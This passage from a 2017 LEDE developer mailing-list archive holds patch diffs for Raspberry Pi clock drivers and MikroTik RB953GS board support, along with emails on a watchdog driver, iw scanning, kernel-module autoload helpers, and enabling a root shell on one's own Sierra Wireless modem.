-@@ -1501,6 +1517,22 @@ static const struct bcm2835_clk_desc clk
+@@ -1503,6 +1519,22 @@ static const struct bcm2835_clk_desc clk
  		.load_mask = CM_PLLD_LOADPER,
  		.hold_mask = CM_PLLD_HOLDPER,
  		.fixed_divider = 1),
diff --git a/target/linux/brcm2708/patches-4.4/0263-clk-bcm2835-add-missing-osc-and-per-clocks.patch b/target/linux/brcm2708/patches-4.4/0263-clk-bcm2835-add-missing-osc-and-per-clocks.patch
index 7efe7e0..9ecb0e2 100644
--- a/target/linux/brcm2708/patches-4.4/0263-clk-bcm2835-add-missing-osc-and-per-clocks.patch
+++ b/target/linux/brcm2708/patches-4.4/0263-clk-bcm2835-add-missing-osc-and-per-clocks.patch
@@ -26,7 +26,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  #define CM_EMMCCTL		0x1c0
  #define CM_EMMCDIV		0x1c4
  
-@@ -1610,6 +1612,12 @@ static const struct bcm2835_clk_desc clk
+@@ -1612,6 +1614,12 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_TSENSDIV,
  		.int_bits = 5,
  		.frac_bits = 0),
@@ -39,7 +39,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  
  	/* clocks with vpu parent mux */
  	[BCM2835_CLOCK_H264]	= REGISTER_VPU_CLK(
-@@ -1624,6 +1632,7 @@ static const struct bcm2835_clk_desc clk
+@@ -1626,6 +1634,7 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_ISPDIV,
  		.int_bits = 4,
  		.frac_bits = 8),
@@ -47,7 +47,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  	/*
  	 * Secondary SDRAM clock.  Used for low-voltage modes when the PLL
  	 * in the SDRAM controller can't be used.
-@@ -1655,6 +1664,36 @@ static const struct bcm2835_clk_desc clk
+@@ -1657,6 +1666,36 @@ static const struct bcm2835_clk_desc clk
  		.is_vpu_clock = true),
  
  	/* clocks with per parent mux */
@@ -84,7 +84,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  
  	/* Arasan EMMC clock */
  	[BCM2835_CLOCK_EMMC]	= REGISTER_PER_CLK(
-@@ -1663,6 +1702,29 @@ static const struct bcm2835_clk_desc clk
+@@ -1665,6 +1704,29 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_EMMCDIV,
  		.int_bits = 4,
  		.frac_bits = 8),
@@ -114,7 +114,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  	/* HDMI state machine */
  	[BCM2835_CLOCK_HSM]	= REGISTER_PER_CLK(
  		.name = "hsm",
-@@ -1684,12 +1746,26 @@ static const struct bcm2835_clk_desc clk
+@@ -1686,12 +1748,26 @@ static const struct bcm2835_clk_desc clk
  		.int_bits = 12,
  		.frac_bits = 12,
  		.is_mash_clock = true),
@@ -141,7 +141,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  	/* TV encoder clock.  Only operating frequency is 108Mhz.  */
  	[BCM2835_CLOCK_VEC]	= REGISTER_PER_CLK(
  		.name = "vec",
-@@ -1698,6 +1774,20 @@ static const struct bcm2835_clk_desc clk
+@@ -1700,6 +1776,20 @@ static const struct bcm2835_clk_desc clk
  		.int_bits = 4,
  		.frac_bits = 0),
  
diff --git a/target/linux/brcm2708/patches-4.4/0345-clk-bcm2835-Mark-the-VPU-clock-as-critical.patch b/target/linux/brcm2708/patches-4.4/0345-clk-bcm2835-Mark-the-VPU-clock-as-critical.patch
index 952ff01..dcd6db2 100644
--- a/target/linux/brcm2708/patches-4.4/0345-clk-bcm2835-Mark-the-VPU-clock-as-critical.patch
+++ b/target/linux/brcm2708/patches-4.4/0345-clk-bcm2835-Mark-the-VPU-clock-as-critical.patch
@@ -27,7 +27,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  	bool is_vpu_clock;
  	bool is_mash_clock;
  };
-@@ -1242,7 +1244,7 @@ static struct clk *bcm2835_register_cloc
+@@ -1244,7 +1246,7 @@ static struct clk *bcm2835_register_cloc
  	init.parent_names = parents;
  	init.num_parents = data->num_mux_parents;
  	init.name = data->name;
@@ -36,7 +36,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  
  	if (data->is_vpu_clock) {
  		init.ops = &bcm2835_vpu_clock_clk_ops;
-@@ -1661,6 +1663,7 @@ static const struct bcm2835_clk_desc clk
+@@ -1663,6 +1665,7 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_VPUDIV,
  		.int_bits = 12,
  		.frac_bits = 8,
diff --git a/target/linux/brcm2708/patches-4.4/0346-clk-bcm2835-Mark-GPIO-clocks-enabled-at-boot-as-crit.patch b/target/linux/brcm2708/patches-4.4/0346-clk-bcm2835-Mark-GPIO-clocks-enabled-at-boot-as-crit.patch
index 8c56452..be63d82 100644
--- a/target/linux/brcm2708/patches-4.4/0346-clk-bcm2835-Mark-GPIO-clocks-enabled-at-boot-as-crit.patch
+++ b/target/linux/brcm2708/patches-4.4/0346-clk-bcm2835-Mark-GPIO-clocks-enabled-at-boot-as-crit.patch
@@ -19,7 +19,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1246,6 +1246,15 @@ static struct clk *bcm2835_register_cloc
+@@ -1248,6 +1248,15 @@ static struct clk *bcm2835_register_cloc
  	init.name = data->name;
  	init.flags = data->flags | CLK_IGNORE_UNUSED;
  
@@ -35,7 +35,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  	if (data->is_vpu_clock) {
  		init.ops = &bcm2835_vpu_clock_clk_ops;
  	} else {
-@@ -1720,13 +1729,15 @@ static const struct bcm2835_clk_desc clk
+@@ -1722,13 +1731,15 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_GP1DIV,
  		.int_bits = 12,
  		.frac_bits = 12,
diff --git a/target/linux/brcm2708/patches-4.4/0347-clk-bcm2835-Skip-PLLC-clocks-when-deciding-on-a-new-.patch b/target/linux/brcm2708/patches-4.4/0347-clk-bcm2835-Skip-PLLC-clocks-when-deciding-on-a-new-.patch
index d2eefe8..8b62deb 100644
--- a/target/linux/brcm2708/patches-4.4/0347-clk-bcm2835-Skip-PLLC-clocks-when-deciding-on-a-new-.patch
+++ b/target/linux/brcm2708/patches-4.4/0347-clk-bcm2835-Skip-PLLC-clocks-when-deciding-on-a-new-.patch
@@ -22,7 +22,7 @@ Fixes: 41691b8862e2 ("clk: bcm2835: Add support for programming the audio domain
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1020,16 +1020,28 @@ static int bcm2835_clock_set_rate(struct
+@@ -1022,16 +1022,28 @@ static int bcm2835_clock_set_rate(struct
  	return 0;
  }
  
@@ -51,7 +51,7 @@ Fixes: 41691b8862e2 ("clk: bcm2835: Add support for programming the audio domain
  	/*
  	 * Select parent clock that results in the closest but lower rate
  	 */
-@@ -1037,6 +1049,17 @@ static int bcm2835_clock_determine_rate(
+@@ -1039,6 +1051,17 @@ static int bcm2835_clock_determine_rate(
  		parent = clk_hw_get_parent_by_index(hw, i);
  		if (!parent)
  			continue;
diff --git a/target/linux/brcm2708/patches-4.4/0431-clk-bcm2835-Mark-the-CM-SDRAM-clock-s-parent-as-crit.patch b/target/linux/brcm2708/patches-4.4/0431-clk-bcm2835-Mark-the-CM-SDRAM-clock-s-parent-as-crit.patch
index 60ad59d..77f7aaf 100644
--- a/target/linux/brcm2708/patches-4.4/0431-clk-bcm2835-Mark-the-CM-SDRAM-clock-s-parent-as-crit.patch
+++ b/target/linux/brcm2708/patches-4.4/0431-clk-bcm2835-Mark-the-CM-SDRAM-clock-s-parent-as-crit.patch
@@ -26,7 +26,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  #include <linux/clk/bcm2835.h>
  #include <linux/debugfs.h>
  #include <linux/module.h>
-@@ -1839,6 +1840,25 @@ static const struct bcm2835_clk_desc clk
+@@ -1841,6 +1842,25 @@ static const struct bcm2835_clk_desc clk
  		.ctl_reg = CM_PERIICTL),
  };
  
@@ -52,7 +52,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  static int bcm2835_clk_probe(struct platform_device *pdev)
  {
  	struct device *dev = &pdev->dev;
-@@ -1848,6 +1868,7 @@ static int bcm2835_clk_probe(struct plat
+@@ -1850,6 +1870,7 @@ static int bcm2835_clk_probe(struct plat
  	const struct bcm2835_clk_desc *desc;
  	const size_t asize = ARRAY_SIZE(clk_desc_array);
  	size_t i;
@@ -60,7 +60,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  
  	cprman = devm_kzalloc(dev,
  			      sizeof(*cprman) + asize * sizeof(*clks),
-@@ -1878,6 +1899,10 @@ static int bcm2835_clk_probe(struct plat
+@@ -1880,6 +1901,10 @@ static int bcm2835_clk_probe(struct plat
  			clks[i] = desc->clk_register(cprman, desc->data);
  	}
  
diff --git a/target/linux/brcm2708/patches-4.4/0432-clk-bcm2835-Don-t-rate-change-PLLs-on-behalf-of-divi.patch b/target/linux/brcm2708/patches-4.4/0432-clk-bcm2835-Don-t-rate-change-PLLs-on-behalf-of-divi.patch
index c5233b5..5d8d344 100644
--- a/target/linux/brcm2708/patches-4.4/0432-clk-bcm2835-Don-t-rate-change-PLLs-on-behalf-of-divi.patch
+++ b/target/linux/brcm2708/patches-4.4/0432-clk-bcm2835-Don-t-rate-change-PLLs-on-behalf-of-divi.patch
@@ -16,7 +16,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1209,7 +1209,7 @@ bcm2835_register_pll_divider(struct bcm2
+@@ -1211,7 +1211,7 @@ bcm2835_register_pll_divider(struct bcm2
  	init.num_parents = 1;
  	init.name = divider_name;
  	init.ops = &bcm2835_pll_divider_clk_ops;
diff --git a/target/linux/brcm2708/patches-4.4/0433-clk-bcm2835-Do-appropriate-name-lookups-for-DSI1-s-p.patch b/target/linux/brcm2708/patches-4.4/0433-clk-bcm2835-Do-appropriate-name-lookups-for-DSI1-s-p.patch
index e0b3ba2..e4b5b45 100644
--- a/target/linux/brcm2708/patches-4.4/0433-clk-bcm2835-Do-appropriate-name-lookups-for-DSI1-s-p.patch
+++ b/target/linux/brcm2708/patches-4.4/0433-clk-bcm2835-Do-appropriate-name-lookups-for-DSI1-s-p.patch
@@ -64,7 +64,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  
  	struct clk_onecell_data onecell;
  	struct clk *clks[];
-@@ -1168,7 +1186,7 @@ static struct clk *bcm2835_register_pll(
+@@ -1170,7 +1188,7 @@ static struct clk *bcm2835_register_pll(
  	memset(&init, 0, sizeof(init));
  
  	/* All of the PLLs derive from the external oscillator. */
@@ -73,7 +73,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  	init.num_parents = 1;
  	init.name = data->name;
  	init.ops = &bcm2835_pll_clk_ops;
-@@ -1251,17 +1269,21 @@ static struct clk *bcm2835_register_cloc
+@@ -1253,17 +1271,21 @@ static struct clk *bcm2835_register_cloc
  	struct bcm2835_clock *clock;
  	struct clk_init_data init;
  	const char *parents[1 << CM_SRC_BITS];
@@ -102,7 +102,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  	}
  
  	memset(&init, 0, sizeof(init));
-@@ -1883,8 +1905,18 @@ static int bcm2835_clk_probe(struct plat
+@@ -1885,8 +1907,18 @@ static int bcm2835_clk_probe(struct plat
  	if (IS_ERR(cprman->regs))
  		return PTR_ERR(cprman->regs);
  
diff --git a/target/linux/brcm2708/patches-4.4/0434-clk-bcm2835-Add-an-enum-for-the-DSI1-pixel-clock.patch b/target/linux/brcm2708/patches-4.4/0434-clk-bcm2835-Add-an-enum-for-the-DSI1-pixel-clock.patch
index 7d6e9f7..3bcb1da 100644
--- a/target/linux/brcm2708/patches-4.4/0434-clk-bcm2835-Add-an-enum-for-the-DSI1-pixel-clock.patch
+++ b/target/linux/brcm2708/patches-4.4/0434-clk-bcm2835-Add-an-enum-for-the-DSI1-pixel-clock.patch
@@ -11,7 +11,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -934,6 +934,9 @@ static long bcm2835_clock_rate_from_divi
+@@ -936,6 +936,9 @@ static long bcm2835_clock_rate_from_divi
  	const struct bcm2835_clock_data *data = clock->data;
  	u64 temp;
  
@@ -21,7 +21,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  	/*
  	 * The divisor is a 12.12 fixed point field, but only some of
  	 * the bits are populated in any given clock.
-@@ -957,7 +960,12 @@ static unsigned long bcm2835_clock_get_r
+@@ -959,7 +962,12 @@ static unsigned long bcm2835_clock_get_r
  	struct bcm2835_clock *clock = bcm2835_clock_from_hw(hw);
  	struct bcm2835_cprman *cprman = clock->cprman;
  	const struct bcm2835_clock_data *data = clock->data;
@@ -35,7 +35,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  
  	return bcm2835_clock_rate_from_divisor(clock, parent_rate, div);
  }
-@@ -1403,6 +1411,28 @@ static const char *const bcm2835_clock_v
+@@ -1405,6 +1413,28 @@ static const char *const bcm2835_clock_v
  	__VA_ARGS__)
  
  /*
@@ -64,7 +64,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
   * the real definition of all the pll, pll_dividers and clocks
   * these make use of the above REGISTER_* macros
   */
-@@ -1847,7 +1877,12 @@ static const struct bcm2835_clk_desc clk
+@@ -1849,7 +1879,12 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_DSI1EDIV,
  		.int_bits = 4,
  		.frac_bits = 8),
-- 
2.7.4



From nbd at nbd.name  Mon Jan  9 02:52:39 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Mon, 9 Jan 2017 11:52:39 +0100
Subject: [LEDE-DEV] [PATCH v2] cns3xxx: remove deprecated mpcore
 watchdog device
In-Reply-To: <8d839c73-2432-d8c5-1059-fc801e9be77a@ncentric.com>
References: <1483906465-4178-1-git-send-email-koen.vandeputte@ncentric.com>
 <455f260e-50b2-1504-f123-360b5f697aa2@nbd.name>
 <8d839c73-2432-d8c5-1059-fc801e9be77a@ncentric.com>
Message-ID: <3edf7df3-b65c-c64f-26f0-18f97e6dc69c@nbd.name>

On 2017-01-09 11:31, Koen Vandeputte wrote:
> 
> 
> On 2017-01-08 21:27, Felix Fietkau wrote:
>> On 2017-01-08 21:14, Koen Vandeputte wrote:
>>> This code was exclusively used by the mpcore_wdt
>>> driver which got removed from the kernel mid 2013.
>>>
>>> https://www.spinics.net/lists/linux-watchdog/msg02724.html
>>>
>>> Tested on Laguna GW2388
>>>
>>> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
>> Interesting. I hadn't noticed that the driver got removed. Instead of
>> removing this, I'd prefer to restore the watchdog driver instead.
> Even better :)
> 
> To ensure we are on the same track:
> --> Locally in LEDE or upstream in kernel?
>> It seems that the IRQ that they were talking about is completely
>> irrelevant and used for testing mode only, so theoretically it should be
>> easy to make this driver work again.
Preferably both.

- Felix



From xue.liu at dks-koeln.de  Mon Jan  9 03:53:55 2017
From: xue.liu at dks-koeln.de (Xue Liu)
Date: Mon, 9 Jan 2017 12:53:55 +0100
Subject: [LEDE-DEV] iw scan can not work
Message-ID: <74256a21-49b6-8559-c3a9-8f13b0ff35a7@dks-koeln.de>

Hello everyone,

I have a Clearfog Pro board and running LEDE trunk r2818.

In this revision I found iw wlan0 scan can not work any more. It gives 
no results out. wlan0 works as a AP.

Anyone has idea ? Thanks

Regards,

Xue Liu

-- 
M.Sci.

Embedded Software Entwicklung

DKS Dienstleistungsgesellschaft
f?r Kommunikationsanlagen des
Stadt- und Regionalverkehrs mbH

Robert-Perthel-Str. 79
D-50739 K?ln

Fon: +49 221 954442-43
Fax: +49 221 954442-23
E-Mail: xue.liu at dks-koeln.de
Web: www.dks-koeln.de

Gesch?ftsf?hrung: Christian D?ring, Ralf Kochs

Aufsichtsratsvorsitzender: J?rn Schwarze

Sitz der Gesellschaft: K?ln

Registergericht: K?ln, HRB 4521

UST-IDNr: DE154089761

Wichtiger Hinweis: Diese E-Mail und etwaige Anlagen k?nnen Betriebs- oder Gesch?ftsgeheimnisse, dem Anwaltsgeheimnis unterliegende oder sonstige vertrauliche Informationen enthalten. Sollten Sie diese E-Mail irrt?mlich erhalten haben, ist Ihnen der Status dieser E-Mail bekannt. Bitte benachrichtigen Sie uns in diesem Fall sofort durch Antwort-Mail und l?schen Sie diese E-Mail nebst etwaigen Anlagen von Ihrem System. Ebenso d?rfen Sie diese E-Mail oder ihre Anlagen nicht kopieren oder an Dritte weitergeben. Vielen Dank!

Important note: This e-mail and any attachment are confidential and may contain trade secrets and may well also be legally privileged or otherwise protected from disclosure. If you have received it in error, you are on notice of its status. Please notify us immediately by reply e-mail and then delete this e-mail and any attachment from your system. If you are not the intended recipient please understand that you must not copy this e-mail or any attachment or disclose the contents to any other person. Thank you for your cooperation.



From yszhou4tech at gmail.com  Mon Jan  9 03:57:50 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Mon, 9 Jan 2017 19:57:50 +0800
Subject: [LEDE-DEV] iw scan can not work
In-Reply-To: <74256a21-49b6-8559-c3a9-8f13b0ff35a7@dks-koeln.de>
References: <74256a21-49b6-8559-c3a9-8f13b0ff35a7@dks-koeln.de>
Message-ID: <CAECwjAhcsG7QVUiiGbm6zD6xe2xE0QHMQ-eYs=1d30PR_TR_YQ@mail.gmail.com>

On 9 January 2017 at 19:53, Xue Liu <xue.liu at dks-koeln.de> wrote:
> Hello everyone,
>
> I have a Clearfog Pro board and running LEDE trunk r2818.
>
> In this revision I found iw wlan0 scan can not work any more. It gives no
> results out. wlan0 works as a AP.
>
> Anyone has idea ? Thanks
>
> Regards,
>
> Xue Liu

Try managed state vif instead.   iw phy phy0 interface add wlan1 type managed

                yousong

>
> --
> M.Sci.
>
> Embedded Software Entwicklung
>
> DKS Dienstleistungsgesellschaft
> f?r Kommunikationsanlagen des
> Stadt- und Regionalverkehrs mbH
>
> Robert-Perthel-Str. 79
> D-50739 K?ln
>
> Fon: +49 221 954442-43
> Fax: +49 221 954442-23
> E-Mail: xue.liu at dks-koeln.de
> Web: www.dks-koeln.de
>
> Gesch?ftsf?hrung: Christian D?ring, Ralf Kochs
>
> Aufsichtsratsvorsitzender: J?rn Schwarze
>
> Sitz der Gesellschaft: K?ln
>
> Registergericht: K?ln, HRB 4521
>
> UST-IDNr: DE154089761
>
> Wichtiger Hinweis: Diese E-Mail und etwaige Anlagen k?nnen Betriebs- oder
> Gesch?ftsgeheimnisse, dem Anwaltsgeheimnis unterliegende oder sonstige
> vertrauliche Informationen enthalten. Sollten Sie diese E-Mail irrt?mlich
> erhalten haben, ist Ihnen der Status dieser E-Mail bekannt. Bitte
> benachrichtigen Sie uns in diesem Fall sofort durch Antwort-Mail und l?schen
> Sie diese E-Mail nebst etwaigen Anlagen von Ihrem System. Ebenso d?rfen Sie
> diese E-Mail oder ihre Anlagen nicht kopieren oder an Dritte weitergeben.
> Vielen Dank!
>
> Important note: This e-mail and any attachment are confidential and may
> contain trade secrets and may well also be legally privileged or otherwise
> protected from disclosure. If you have received it in error, you are on
> notice of its status. Please notify us immediately by reply e-mail and then
> delete this e-mail and any attachment from your system. If you are not the
> intended recipient please understand that you must not copy this e-mail or
> any attachment or disclose the contents to any other person. Thank you for
> your cooperation.
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From bjorn at mork.no  Mon Jan  9 04:42:27 2017
From: bjorn at mork.no (=?utf-8?Q?Bj=C3=B8rn_Mork?=)
Date: Mon, 09 Jan 2017 13:42:27 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
 Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3,
 v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <20170109091235.pe7zpf6udd6xjk5r@nataraja> (Harald Welte's
 message of "Mon, 9 Jan 2017 10:12:35 +0100")
References: <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net>
 <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net>
 <87zij1jj8z.fsf@miraculix.mork.no>
 <20170109091235.pe7zpf6udd6xjk5r@nataraja>
Message-ID: <87eg0c76bw.fsf@miraculix.mork.no>

Harald Welte <laforge at gnumonks.org> writes:
> On Sun, Jan 08, 2017 at 11:10:20PM +0100, Bj?rn Mork wrote:
>> Note that there is nothing Quectel here.  This is a standard Qualcomm
>> platform.  The output above comes from the Sierra Wireless EM7455
>> originally delivered as part of my Lenovo X1 Carbon, running bog
>> standard firmare.
>
> Would you mind sharing information how to access the shell?  It would be
> great to add some wiki pages on the Sierra Wireless modems to our wiki
> at https://osmocom.org/projects/quectel-modems/wiki (which despite the
> URL contains a lot of information that's not quectel specific).

This is valid only for the MC/EM74xx generation:

Change the "USB_COMP" NVRAM variable to e.g. 0x0000100f
(diag,adb,nmea,modem,mbim) or 0x0000050f (diag,adb,nmea,modem,rmnet0,rmnet1).
Reset the modem, and the firmware will add an Android gadget with adbd
running as root.  There you have your root shell.

I could provide more details on how exactly you change that variable,
but I'm a little worried about distributing that to every Windows laptop
user out there. It's too easy to use without understanding the
implications.  Someone is sooner or later going to softbrick their
modems in ways that can be difficult to fix without removing the modem
from the laptop.  You can argue that it will be a self inflicted
problem, but we know it will happen so I think it is better to protect
the innocent..

FWIW, I've already been through one modem not booting properly after
playing with this variable.

But I'll send you the script I am using to create a flashable NVRAM
update in private, without any distribution restrictions. That way you
can choose whether you agree or not.  I'll not complain.  I'll just
direct any support questions to you :)



Bj?rn


From baptiste at bitsofnetworks.org  Mon Jan  9 05:25:29 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Mon, 9 Jan 2017 14:25:29 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
Message-ID: <20170109132528.GA15149@tuxmachine.polynome.dn42>

Hi,

While investigating an issue with module loading order?, I discovered that
some kernel packages use AutoProbe, like this:

    AUTOLOAD:=$(call AutoProbe,xt_hashlimit)

while some kernel packages use the AutoLoad helper I was used to, with a
priority:

    AUTOLOAD:=$(call AutoLoad,28,raid0)

Judging from this commit? and `include/kernel.mk`, it seems the only
difference is that AutoProbe does not include a priority.

Is the loading order determined automatically for AutoProbe?  If so, where
is the magic, and why is AutoLoad still needed in some cases?

Thanks,
Baptiste

? https://github.com/openwrt/packages/issues/3790
? https://git.lede-project.org/?p=source.git;a=commitdiff;h=022cadd64e8a24818d15b22bc28f3460e0b2519c
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/4602003b/attachment.sig>

From gui at altermundi.net  Mon Jan  9 05:36:18 2017
From: gui at altermundi.net (Gui Iribarren)
Date: Mon, 9 Jan 2017 14:36:18 +0100
Subject: [LEDE-DEV] [PATCH v2] ar71xx: add initial support for
 RB953GS-5HnT-RP
Message-ID: <6ba3a011-6692-72f9-08ff-2e86ce6ee7bf@altermundi.net>

Add board support, no userspace files yet.

Tested over TFTP, ethernet is not yet working
(the 3 switch ports report link status, but eth0 is not the switch)
Both miniPCIe slots are confirmed working, including their status LEDs
Not tested: reset button, USB port, SFP cages, AR9558 radio.

Signed-off-by: Gui Iribarren <gui at altermundi.net>
---
Changelog v2:
 * enable serial console during LEDE boot on board "953gs"

Regarding the ethernet ports, it looks like the SGMII/RGMII interfaces
are connected differently than in the AP135 reference board, so
while the switch is working, it does not communicate with the CPU

 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  12 +++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-rb953.c      | 114 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/mikrotik/config-default        |   1 +
 .../701-MIPS-ath79-add-routerboard-detection.patch |  11 +-
 7 files changed, 137 insertions(+), 4 deletions(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c

diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..5a64cce 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -144,6 +144,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RB91X is not set
 # CONFIG_ATH79_MACH_RB922 is not set
 # CONFIG_ATH79_MACH_RB95X is not set
+# CONFIG_ATH79_MACH_RB953GS is not set
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..00f2d33 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -869,6 +869,18 @@ config ATH79_MACH_RB95X
        select ATH79_DEV_USB
        select ATH79_ROUTERBOOT
 
+config ATH79_MACH_RB953GS
+	bool "MikroTik RouterBOARD 953GS support"
+	select SOC_QCA955X
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_NFC
+	select ATH79_DEV_SPI
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+	select ATH79_ROUTERBOOT
+
 config ATH79_MACH_RB2011
 	bool "MikroTik RouterBOARD 2011 support"
 	select SOC_AR934X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..d7cf8e4 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -148,6 +148,7 @@ obj-$(CONFIG_ATH79_MACH_RB750)			+= mach-rb750.o
 obj-$(CONFIG_ATH79_MACH_RB91X)			+= mach-rb91x.o
 obj-$(CONFIG_ATH79_MACH_RB922)			+= mach-rb922.o
 obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
+obj-$(CONFIG_ATH79_MACH_RB953GS)		+= mach-rb953.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c
new file mode 100644
index 0000000..bb81cf1
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c
@@ -0,0 +1,114 @@
+/*
+ *  MikroTik RouterBOARD 953GS-5HnT-RP support
+ *
+ *  Copyright (C) 2016 Gui Iribarren <gui at altermundi.net>
+ *
+ * Based on the Qualcomm Atheros AP135/RB953 reference board support code
+ *   Copyright (c) 2012 Qualcomm Atheros
+ *
+ *  This program is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License version 2 as published
+ *  by the Free Software Foundation.
+ */
+
+#include <linux/platform_device.h>
+#include <linux/ar8216_platform.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-eth.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define RB953_MAC0_OFFSET		0
+#define RB953_MAC1_OFFSET		6
+#define RB953_WMAC_CALDATA_OFFSET	0x1000
+#define RB953_PCIE_CALDATA_OFFSET	0x5000
+
+static struct ar8327_pad_cfg rb953gs_ar8327_pad0_cfg;
+static struct ar8327_pad_cfg rb953gs_ar8327_pad6_cfg;
+
+static struct ar8327_platform_data rb953gs_ar8327_data = {
+	.pad0_cfg = &rb953gs_ar8327_pad0_cfg,
+	.pad6_cfg = &rb953gs_ar8327_pad6_cfg,
+	.port0_cfg = {
+		.force_link = 1,
+		.speed = AR8327_PORT_SPEED_1000,
+		.duplex = 1,
+		.txpause = 1,
+		.rxpause = 1,
+	},
+	.port6_cfg = {
+		.force_link = 1,
+		.speed = AR8327_PORT_SPEED_1000,
+		.duplex = 1,
+		.txpause = 1,
+		.rxpause = 1,
+	},
+};
+
+static struct mdio_board_info rb953gs_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 0,
+		.platform_data = &rb953gs_ar8327_data,
+	},
+};
+
+static void __init rb953gs_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
